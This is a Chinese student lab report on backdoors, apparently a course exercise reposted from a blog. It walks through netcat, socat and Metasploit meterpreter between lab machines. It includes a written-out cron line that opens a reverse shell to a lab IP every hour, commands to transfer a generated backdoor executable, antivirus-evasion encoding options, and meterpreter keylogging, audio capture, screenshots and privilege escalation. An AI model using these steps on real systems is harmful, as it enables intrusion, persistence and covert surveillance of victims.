码迷,mamicode.com
首页 > 其他好文 > 详细

后门原理与实践

时间:2020-03-18 21:43:57      阅读:76      评论:0      收藏:0      [点我收藏+]

标签:ret   协议   没有   blank   完成   exe   net   原理   去除   

一、实验原理

·工具

Netcat:实验中用于监听、连接端口,获取shell

命令 作用
-l 监听模式,用于入站连接
-p port 打开本地端口

 

 

 

Socat:可以看做是 Netcat 的加强版,在两个数据流之间建立通道,且支持众多协议和链接方式,实验中用于连接远程端口,获取shell。

命令格式:socat [options] <address> <address>

其中socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据,实验中的描述符是TCP,指的是建立一个TCP连接作为数据流。

Meterpreter:可以用于生成后门程序的工具,常用命令如下:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

 

二、实验步骤

(一)Windows和Linux间传递数据

·下载ncat软件

官网下载ncat软件

将nc.exe文件放入C盘的System32文件夹中

·传递数据

Linux端的终端输入指令,5310端口进入监听状态,而在Windows端的cmd输入指令,其中的IP输入的是linux的IP地址,在linux终端输入sudo -s,获取root权限,然后输入ifconfig就可得到IP地址。

在一端输入的数据就可以在另一端显示,如下:

技术图片

(二)Windows获得Linux的Shell

·查看Windows的IP地址

在Windows端cmd输入ipconfig查看其IP

·利用ncat获取shell

在Windows端输入指令,端口进入监听状态,Linux端反弹连接Windows,Windows获得Linux的shell,输入ls,可以查看到Linux的相关文件,由于此时Linux的终端进入了共享文件,因此可以看到上次实验建立的共享文件。

技术图片

(三)Linux获取Windows的shell

·查看Linux端的IP地址

在Linux终端输入sudo -s,获取root权限,然后输入ifconfig得到IP地址

技术图片

·利用ncat获取shell

在Linux端输入指令,端口进入监听状态,在Windows端输入指令反弹连接LInux端,在Linux端输入Windows的shell指令,可以运行,如下:

技术图片

(四)利用cronat定时启动

在Windows输入nc.exe -l -p 5301

在终端输入crotab -e,选择第三个编辑器,在最后一行加入20 * * * * /bin/netcat 192.168.3.26 5215 -e /bin/sh,表示在每小时的20分钟启动反向连接,到达时间后cmd端输入linux的shell命令,如下:

技术图片

(五)利用socat获取shell

·下载socat压缩包

在windows端下载socat压缩包

·创建计算机任务

在Windows打开我的电脑,点击计算机下的管理,在任务计划程序下,选择任务计划程序库,选择创建任务。

在任务中填写任务名,新建触发器并默认装置,新建操作,其中程序或脚本中选择socat所在的文件夹。

其中,5215是端口名,完成好,可以在任务列表发现这个任务,并且选择运行。

技术图片

·关闭Linux防火墙

在终端输入指令sudo apt-get install ufw和sudo ufw disable,关闭防火墙。

·利用socat连接Windows

在Linux端输入指令,获取Windows的shell,如下:

技术图片

(六)使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机shell

·生成后门程序

在Linux端输入sudo gem install bundler:1.17.3,再输入以下指令,生成后门文件,如下:

技术图片

·将文件传到Windows端

在Windows端输入nc.exe -lv -p 5215 > 20174301_backdoor.exe,在Linux端输入nc 192.168.1.103 5215 < 20174301_backdoor.exe,Windows端发现后门文件传过去了,如下:

技术图片

 

·利用msf获取shell

输入msfconsole进入msf控制台,输入指令,其中设置端口为5215,输入exploit开始监听,如下:

技术图片

在Windows端关闭防火墙,关闭Defender实时保护,退出杀毒软件,点击运行后门软件。

打开终端,得到shell,如下:

 技术图片

(七)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

 ·使用record_mic指令截获一段音频

技术图片

·使用screenshot指令可以进行截屏

技术图片

·使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

技术图片

技术图片

 

 

 

·先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

技术图片

三、思考与回答

·例举你能想到的一个后门进入到你系统中的可能方式?

在打开某些网页时,后门程序被安装进电脑。

·例举你知道的后门如何启动起来(win及linux)的方式?

可以通过netcat监听,用cron定时连接windows,并获取shell

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

修改Windows注册表

·Meterpreter有哪些给你映像深刻的功能?

可以远程控制主机进行截屏、开启摄像头等操作。

·如何发现自己有系统有没有被安装后门?

安装杀毒软件,出现一些陌生文件,查看端口通信情况

 

后门原理与实践

标签:ret   协议   没有   blank   完成   exe   net   原理   去除   

原文地址:https://www.cnblogs.com/4301xn/p/12518452.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!